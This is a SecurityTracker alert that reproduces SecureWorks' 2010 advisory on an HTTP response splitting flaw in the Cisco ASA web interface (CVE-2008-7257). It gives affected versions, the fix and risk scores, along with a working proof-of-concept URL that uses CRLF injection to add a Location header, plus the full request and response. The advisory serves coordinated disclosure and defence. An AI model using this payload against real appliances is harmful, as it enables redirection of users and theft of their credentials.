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Category:   Device (Firewall)  >   Cisco ASA Vendors:   Cisco
Cisco ASA URL Processing Flaw Lets Remote Users Conduct HTTP Response Splitting Attacks
SecurityTracker Alert ID:  1024155
SecurityTracker URL:  http://securitytracker.com/id/1024155
CVE Reference:   CVE-2008-7257   (Links to External Site)
Date:  Jun 26 2010
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 8.1(1) and prior versions
Description:   A vulnerability was reported in Cisco ASA. A remote user can conduct HTTP response splitting attacks.

The HTTP web interface of the ASA does not properly validate user-supplied input. A remote user can submit a specially crafted URL to cause the target server to return a split response. A remote user can exploit this to spoof content on the target ASA appliance, attempt to poison any intermediate web caches, or conduct cross-site scripting attacks.

A demonstration exploit URL is provided:

http://[target]/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom

Cisco has assigned Cisco Bug ID CSCsr09163 to this vulnerability.

The original advisory is available at:

http://www.secureworks.com/ctu/advisories/SWRX-2010-001

Daniel King of SecureWorks reported this vulnerability.

Impact:   A remote user can create a URL that, when loaded by the target user, will cause arbitrary content to be displayed.

A remote user may be able to poison any intermediate web caches with arbitrary content.

Solution:   The vendor has issued a fix (8.1(2)).

The vendor's advisory is available at:

http://www.cisco.com/en/US/docs/security/asa/asa81/release/notes/asarn812.html

Vendor URL:  www.cisco.com/en/US/docs/security/asa/asa81/release/notes/asarn812.html (Links to External Site)
Cause:   Input validation error
Underlying OS:  

Message History:   None.


 Source Message Contents

Date:  Thu, 24 Jun 2010 16:09:02 -0600
Subject:  [SWRX-2010-001] Cisco ASA HTTP Response Splitting Vulnerability

SecureWorks Security Advisory SWRX-2010-001
Cisco ASA HTTP Response Splitting Vulnerability 


Advisory Information
Title: Cisco ASA HTTP Response Splitting Vulnerability 
Advisory ID: SWRX-2010-001
Advisory URL: http://www.secureworks.com/ctu/advisories/SWRX-2010-001
Date published: Thursday, June 24, 2010
CVE: CVE-2008-7257
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)
Date of last update: Thursday, June 24, 2010
Vendors contacted: Cisco Systems, Inc.
Release mode: Coordinated release
Discovered by: Daniel King, SecureWorks


Summary
Cisco Adaptive Security Appliance (ASA) is vulnerable to HTTP response splitting caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability using a specially-crafted URL to execute script in a victim’s web browser within the security context of the Adaptive Security Appliance site.


Affected Products
Cisco ASA version 8.1(1) and earlier.


Vendor Information, Solutions and Workarounds
Cisco has released a fix to address this security flaw. Upgrade to ASA software version 8.1(2) to remediate this issue.

Release Notes are available at:
http://www.cisco.com/en/US/docs/security/asa/asa81/release/notes/asarn812.html

The following “Resolved Caveat” is listed in the Release Notes:
CSCsr09163 webvpn - +webvpn+/index.html http response splitting problem.


Details
When a user connects to the web interface of the ASA via HTTP, they are automatically redirected to the SSL encrypted version. The web server issues a 301 Moved Permanently status code to the connecting client to facilitate this redirection. If the client appends the carriage return (%0d) and line feed (%0a) characters to the URL, the web server will parse these and allow the client to inject arbitrary HTTP response headers. Using this method, it is possible to inject a second Location header to the client. The client web browser will act on only the last Location header it encounters and redirect there.


SecureWorks Risk Scoring
Likelihood (scale of 1-5, with 5 being high): 5 – This device is designed to be on the perimeter of a network to allow remote access.

Impact (scale of 1-5, with 5 being high): 4 – Leveraging this attack could lead to stolen credentials and access to the VPN.


CVSS Severity (version 2.0)
Access Vector: Network exploitable 
Access Complexity: Low
Authentication: Not required to exploit
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: None
Impact Subscore: 2.9
Exploitability Subscore: 10
CVSS v2 Base Score: 5 (Medium) (AV:N/AC:L/Au:N/C:N/I:P/A:N)


Proof of Concept

URL:
http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom

Request:
GET http://x.x.x.x/%0d%0aLocation%3a%20http%3a%2f%2fwww%2egoogle%2ecom HTTP/1.0
Host: x.x.x.x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Response:
HTTP/1.0 301 Moved Permanently
Server: Web Server
Location: https://x.x.x.x/
Location: http://www.google.com
Content-Type: text/html
Content-Length: 125

<HEAD><TITLE>Moved</TITLE></HEAD><BODY><A HREF="https://x.x.x.x/
Location: http://www.google.com">Moved</A></BODY>


Revision History
1.0	Thursday, June 24, 2010 – Initial advisory release


PGP Keys
This advisory has been signed with the PGP key of the SecureWorks Counter Threat Unit(SM), which is available for download at http://www.secureworks.com/contact/SecureWorksCTU.asc.


About the SecureWorks Counter Threat Unit(SM)
Our expert team of threat researchers, also known as the SecureWorks Counter Threat Unit(SM), identifies and analyzes emerging threats and develops countermeasures, correlations and SOC processes to protect clients’ critical information assets. The CTU frequently serves as an expert resource for the media, publishes technical analyses for the security community and speaks about emerging threats at security conferences. Leveraging our security technologies and a network of industry contacts, the CTU tracks leading hackers and analyzes anomalous activity, uncovering new attack techniques and threats. This process enables the CTU to identify threats as they emerge and develop countermeasures that protect our clients before damage occurs.


About SecureWorks
SecureWorks is a leading provider of world-class information security services with over 2,800 clients worldwide. Organizations of all sizes, including more than ten percent of the Fortune 500, rely on SecureWorks to protect their assets, support compliance and reduce costs. The combination of deep security knowledge and expertise, purpose-built security technology and processes and excellent client service makes SecureWorks the premier provider of information security services. Positioned in the Leader's Quadrant of Gartner's Magic Quadrant for MSSPs, SecureWorks has been recognized by SC Magazine's readers with the “Best Managed Security Service” award for 2006, 2007, 2008 & 2009 and has been named to the Inc. 500, Inc. 5000 and Deloitte lists of fastest-growing companies.


Disclaimer
Copyright © 2010 SecureWorks, Inc.	
This advisory may not be edited or modified in any way without the express written consent of SecureWorks, Inc. If you wish to reprint this advisory or any portion or element thereof, please contact ctu@secureworks.com to seek permission. Permission is hereby granted to link to this advisory via the SecureWorks website at http://www.secureworks.com/ctu/advisories/SWRX-2010-001 or use in accordance with the fair use doctrine of U.S. copyright laws.

The information within this advisory may change without notice. The most recent version of this advisory may be found on the SecureWorks web site at www.secureworks.com for a limited period of time. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. ANY USE OF THIS INFORMATION IS AT THE USER'S RISK. In no event shall SecureWorks be liable for any damages whatsoever arising out of or in connection with the use or spread of this information.
 
 


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